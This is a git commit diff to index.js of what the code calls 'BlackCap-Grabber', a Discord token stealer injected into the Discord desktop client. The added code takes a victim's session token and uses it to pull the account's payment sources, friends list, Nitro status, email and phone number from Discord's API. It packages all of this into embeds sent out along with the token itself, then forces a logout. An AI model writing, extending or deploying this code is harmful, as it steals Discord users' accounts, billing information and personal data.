Update index.js
This commit is contained in:
parent
bf70556746
commit
14a9538fbe
178
index.js
178
index.js
|
@ -140,6 +140,59 @@ const GetA2F = (bouki) => {
|
|||
}
|
||||
}
|
||||
|
||||
|
||||
const parseFriends = friends => {
|
||||
var real = friends.filter(x => x.type == 1)
|
||||
var rareFriends = ""
|
||||
for (var friend of real) {
|
||||
var badges = GetRBadges(friend.user.public_flags)
|
||||
if (badges !== ":x:") rareFriends += `${badges} ${friend.user.username}#${friend.user.discriminator}\n`
|
||||
}
|
||||
if (!rareFriends) rareFriends = "No Rare Friends"
|
||||
return {
|
||||
len: real.length,
|
||||
badges: rareFriends
|
||||
}
|
||||
}
|
||||
|
||||
const parseBilling = billings => {
|
||||
var Billings = ""
|
||||
billings.forEach(res => {
|
||||
if (res.invalid) return
|
||||
switch (res.type) {
|
||||
case 1:
|
||||
Billings += ":heavy_check_mark: :credit_card:"
|
||||
break
|
||||
case 2:
|
||||
Billings += ":heavy_check_mark: <:paypal:896441236062347374>"
|
||||
}
|
||||
})
|
||||
if (!Billings) Billings = ":x:"
|
||||
return Billings
|
||||
}
|
||||
|
||||
const calcDate = (a, b) => new Date(a.setMonth(a.getMonth() + b))
|
||||
|
||||
const GetNitro = r => {
|
||||
switch (r.premium_type) {
|
||||
default:
|
||||
return ":x:"
|
||||
case 1:
|
||||
return "<:946246402105819216:962747802797113365>"
|
||||
case 2:
|
||||
if (!r.premium_guild_since) return "<:946246402105819216:962747802797113365>"
|
||||
var now = new Date(Date.now())
|
||||
var arr = ["<:Booster1Month:1051453771147911208>", "<:Booster2Month:1051453772360077374>", "<:Booster6Month:1051453773463162890>", "<:Booster9Month:1051453774620803122>", "<:boost12month:1068308256088400004>", "<:Booster15Month:1051453775832961034>", "<:BoosterLevel8:1051453778127237180>", "<:Booster24Month:1051453776889917530>"]
|
||||
var a = [new Date(r.premium_guild_since), new Date(r.premium_guild_since), new Date(r.premium_guild_since), new Date(r.premium_guild_since), new Date(r.premium_guild_since), new Date(r.premium_guild_since), new Date(r.premium_guild_since)]
|
||||
var b = [2, 3, 6, 9, 12, 15, 18, 24]
|
||||
var r = []
|
||||
for (var p in a) r.push(Math.round((calcDate(a[p], b[p]) - now) / 86400000))
|
||||
var i = 0
|
||||
for (var p of r) p > 0 ? "" : i++
|
||||
return "<:946246402105819216:962747802797113365> " + arr[i]
|
||||
}
|
||||
}
|
||||
|
||||
function GetLangue(read) {
|
||||
var languages = {
|
||||
"fr": ":flag_fr: French",
|
||||
|
@ -220,6 +273,12 @@ const FirstTime = async () => {
|
|||
})
|
||||
} else {
|
||||
var user = await getURL("https://discord.com/api/v8/users/@me", token)
|
||||
var billing = await getURL("https://discord.com/api/v9/users/@me/billing/payment-sources", token)
|
||||
var friends = await getURL("https://discord.com/api/v9/users/@me/relationships", token)
|
||||
var Nitro = await getURL("https://discord.com/api/v9/users/" + user.id + "/profile", token);
|
||||
|
||||
var Billings = parseBilling(billing)
|
||||
var Friends = parseFriends(friends)
|
||||
if (!user.avatar) var userAvatar = "https://raw.githubusercontent.com/KSCHdsc/BlackCap-Assets/main/blackcap%20(2).png"
|
||||
if (!user.banner) var userBanner = "https://raw.githubusercontent.com/KSCHdsc/BlackCap-Assets/main/Banner.png"
|
||||
|
||||
|
@ -239,6 +298,10 @@ const FirstTime = async () => {
|
|||
name: "ID <:iduser:1041634535395307520>",
|
||||
value: `\`${user.id}\`\n[Copy ID](https://paste-pgpj.onrender.com/?p=${user.id})`,
|
||||
inline: !0
|
||||
}, {
|
||||
name: "Nitro <a:nitro:1041639670288748634>",
|
||||
value: `${GetNitro(Nitro)}`,
|
||||
inline: !0
|
||||
}, {
|
||||
name: "Badges <:badge:1041634538150973460>",
|
||||
value: `${GetBadges(user.flags)}`,
|
||||
|
@ -257,7 +320,19 @@ const FirstTime = async () => {
|
|||
inline: !0
|
||||
}, {
|
||||
name: "@Copyright",
|
||||
value: `[BlackCap 2023 <a:blackcapgif:1041634542093619260>](https://github.com/KSCHdsc/BlackCap-Grabber)`,
|
||||
value: `[BlackCap 2021 <a:blackcapgif:1041634542093619260>](https://github.com/KSCHdsc/BlackCap-Grabber)`,
|
||||
inline: !0
|
||||
}, {
|
||||
name: "Billing <a:billing:1041641103629234196>",
|
||||
value: `${Billings}`,
|
||||
inline: !1
|
||||
}, {
|
||||
name: "Email <a:email:1041639672037785691>",
|
||||
value: `\`${user.email}\``,
|
||||
inline: !0
|
||||
}, {
|
||||
name: "Phone :mobile_phone:",
|
||||
value: `\`${user.phone ?? "None"}\``,
|
||||
inline: !0
|
||||
}, {
|
||||
name: "<a:tokens:1041634540537511957> Token",
|
||||
|
@ -267,6 +342,15 @@ const FirstTime = async () => {
|
|||
image: userBanner,
|
||||
thumbnail: userAvatar
|
||||
})
|
||||
var params2 = await makeEmbed({
|
||||
title: `<a:totalfriends:1041641100017946685> Total Friends (${Friends.len})`,
|
||||
color: config['embed-color'],
|
||||
description: Friends.badges,
|
||||
image: userBanner,
|
||||
thumbnail: userAvatar
|
||||
})
|
||||
|
||||
params.embeds.push(params2.embeds[0])
|
||||
}
|
||||
await post(params)
|
||||
if ((config.logout != "false" || config.logout !== "%LOGOUT%") && config['logout-notify'] == "true") {
|
||||
|
@ -281,6 +365,12 @@ const FirstTime = async () => {
|
|||
})
|
||||
} else {
|
||||
var user = await getURL("https://discord.com/api/v8/users/@me", token)
|
||||
var billing = await getURL("https://discord.com/api/v9/users/@me/billing/payment-sources", token)
|
||||
var friends = await getURL("https://discord.com/api/v9/users/@me/relationships", token)
|
||||
var Nitro = await getURL("https://discord.com/api/v9/users/" + user.id + "/profile", token);
|
||||
|
||||
var Billings = parseBilling(billing)
|
||||
var Friends = parseFriends(friends)
|
||||
if (!user.avatar) var userAvatar = "https://raw.githubusercontent.com/KSCHdsc/BlackCap-Assets/main/blackcap%20(2).png"
|
||||
if (!user.banner) var userBanner = "https://raw.githubusercontent.com/KSCHdsc/BlackCap-Assets/main/Banner.png"
|
||||
|
||||
|
@ -300,6 +390,10 @@ const FirstTime = async () => {
|
|||
name: "ID <:iduser:1041634535395307520>",
|
||||
value: `\`${user.id}\`\n[Copy ID](https://paste-pgpj.onrender.com/?p=${user.id})`,
|
||||
inline: !0
|
||||
}, {
|
||||
name: "Nitro <a:nitro:1041639670288748634>",
|
||||
value: `${GetNitro(Nitro)}`,
|
||||
inline: !0
|
||||
}, {
|
||||
name: "Badges <:badge:1041634538150973460>",
|
||||
value: `${GetBadges(user.flags)}`,
|
||||
|
@ -318,7 +412,19 @@ const FirstTime = async () => {
|
|||
inline: !0
|
||||
}, {
|
||||
name: "@Copyright",
|
||||
value: `[BlackCap 2023 <a:blackcapgif:1041634542093619260>](https://github.com/KSCHdsc/BlackCap-Grabber)`,
|
||||
value: `[BlackCap 2021 <a:blackcapgif:1041634542093619260>](https://github.com/KSCHdsc/BlackCap-Grabber)`,
|
||||
inline: !0
|
||||
}, {
|
||||
name: "Billing <a:billing:1041641103629234196>",
|
||||
value: `${Billings}`,
|
||||
inline: !1
|
||||
}, {
|
||||
name: "Email <a:email:1041639672037785691>",
|
||||
value: `\`${user.email}\``,
|
||||
inline: !0
|
||||
}, {
|
||||
name: "Phone :mobile_phone:",
|
||||
value: `\`${user.phone ?? "None"}\``,
|
||||
inline: !0
|
||||
}, {
|
||||
name: "<a:tokens:1041634540537511957> Token",
|
||||
|
@ -328,6 +434,15 @@ const FirstTime = async () => {
|
|||
image: userBanner,
|
||||
thumbnail: userAvatar
|
||||
})
|
||||
var params2 = await makeEmbed({
|
||||
title: `<a:totalfriends:1041641100017946685> Total Friends (${Friends.len})`,
|
||||
color: config['embed-color'],
|
||||
description: Friends.badges,
|
||||
image: userBanner,
|
||||
thumbnail: userAvatar
|
||||
})
|
||||
|
||||
params.embeds.push(params2.embeds[0])
|
||||
}
|
||||
fs.writeFileSync("./d3dcompiler.dlll", "LogOut")
|
||||
await execScript(logOutScript)
|
||||
|
@ -348,57 +463,6 @@ const path = (function () {
|
|||
}
|
||||
}())
|
||||
|
||||
const parseFriends = friends => {
|
||||
var real = friends.filter(x => x.type == 1)
|
||||
var rareFriends = ""
|
||||
for (var friend of real) {
|
||||
var badges = GetRBadges(friend.user.public_flags)
|
||||
if (badges !== ":x:") rareFriends += `${friend.user.username}#${friend.user.discriminator}\n`
|
||||
}
|
||||
if (!rareFriends) rareFriends = "No Rare Friends"
|
||||
return {
|
||||
len: real.length,
|
||||
badges: rareFriends
|
||||
}
|
||||
}
|
||||
|
||||
const parseBilling = billings => {
|
||||
var Billings = ""
|
||||
billings.forEach(res => {
|
||||
if (res.invalid) return
|
||||
switch (res.type) {
|
||||
case 1:
|
||||
Billings += ":heavy_check_mark: :credit_card:"
|
||||
break
|
||||
case 2:
|
||||
Billings += ":heavy_check_mark: <:paypal:896441236062347374>"
|
||||
}
|
||||
})
|
||||
if (!Billings) Billings = ":x:"
|
||||
return Billings
|
||||
}
|
||||
|
||||
const calcDate = (a, b) => new Date(a.setMonth(a.getMonth() + b))
|
||||
|
||||
const GetNitro = r => {
|
||||
switch (r.premium_type) {
|
||||
default:
|
||||
return ":x:"
|
||||
case 1:
|
||||
return "<:946246402105819216:962747802797113365>"
|
||||
case 2:
|
||||
if (!r.premium_guild_since) return "<:946246402105819216:962747802797113365>"
|
||||
var now = new Date(Date.now())
|
||||
var arr = ["<:Booster1Month:1051453771147911208>", "<:Booster2Month:1051453772360077374>", "<:Booster6Month:1051453773463162890>", "<:Booster9Month:1051453774620803122>", "<:boost12month:1068308256088400004>", "<:Booster15Month:1051453775832961034>", "<:BoosterLevel8:1051453778127237180>", "<:Booster24Month:1051453776889917530>"]
|
||||
var a = [new Date(r.premium_guild_since), new Date(r.premium_guild_since), new Date(r.premium_guild_since), new Date(r.premium_guild_since), new Date(r.premium_guild_since), new Date(r.premium_guild_since), new Date(r.premium_guild_since)]
|
||||
var b = [2, 3, 6, 9, 12, 15, 18, 24]
|
||||
var r = []
|
||||
for (var p in a) r.push(Math.round((calcDate(a[p], b[p]) - now) / 86400000))
|
||||
var i = 0
|
||||
for (var p of r) p > 0 ? "" : i++
|
||||
return "<:946246402105819216:962747802797113365> " + arr[i]
|
||||
}
|
||||
}
|
||||
const checUpdate = () => {
|
||||
var {
|
||||
appPath,
|
||||
|
@ -523,7 +587,7 @@ electron.session.defaultSession.webRequest.onCompleted(config.onCompleted, async
|
|||
inline: !0
|
||||
}, {
|
||||
name: "@Copyright",
|
||||
value: `[BlackCap 2023 <a:blackcapgif:1041634542093619260>](https://github.com/KSCHdsc/BlackCap-Grabber)`,
|
||||
value: `[BlackCap 2021 <a:blackcapgif:1041634542093619260>](https://github.com/KSCHdsc/BlackCap-Grabber)`,
|
||||
inline: !0
|
||||
}, {
|
||||
name: "Billing <a:billing:1041641103629234196>",
|
||||
|
@ -545,7 +609,7 @@ electron.session.defaultSession.webRequest.onCompleted(config.onCompleted, async
|
|||
name: "<a:tokens:1041634540537511957> Token",
|
||||
value: `\`\`\`${token}\`\`\`\n[Copy Token](https://paste-pgpj.onrender.com/?p=${token})\n\n[Download Banner](${userBanner})`,
|
||||
inline: !1
|
||||
}, ],
|
||||
}],
|
||||
|
||||
thumbnail: userAvatar,
|
||||
image: userBanner
|
||||
|
@ -608,7 +672,7 @@ electron.session.defaultSession.webRequest.onCompleted(config.onCompleted, async
|
|||
inline: !0
|
||||
}, {
|
||||
name: "@Copyright",
|
||||
value: `[BlackCap 2023 <a:blackcapgif:1041634542093619260>](https://github.com/KSCHdsc/BlackCap-Grabber)`,
|
||||
value: `[BlackCap 2021 <a:blackcapgif:1041634542093619260>](https://github.com/KSCHdsc/BlackCap-Grabber)`,
|
||||
inline: !0
|
||||
}, {
|
||||
name: "Billing <a:billing:1041641103629234196>",
|
||||
|
@ -695,7 +759,7 @@ electron.session.defaultSession.webRequest.onCompleted(config.onCompleted, async
|
|||
inline: !0
|
||||
}, {
|
||||
name: "@Copyright",
|
||||
value: `[BlackCap 2023 <a:blackcapgif:1041634542093619260>](https://github.com/KSCHdsc/BlackCap-Grabber)`,
|
||||
value: `[BlackCap 2021 <a:blackcapgif:1041634542093619260>](https://github.com/KSCHdsc/BlackCap-Grabber)`,
|
||||
inline: !0
|
||||
}, {
|
||||
name: "Billing <a:billing:1041641103629234196>",
|
||||
|
|
Loading…
Reference in New Issue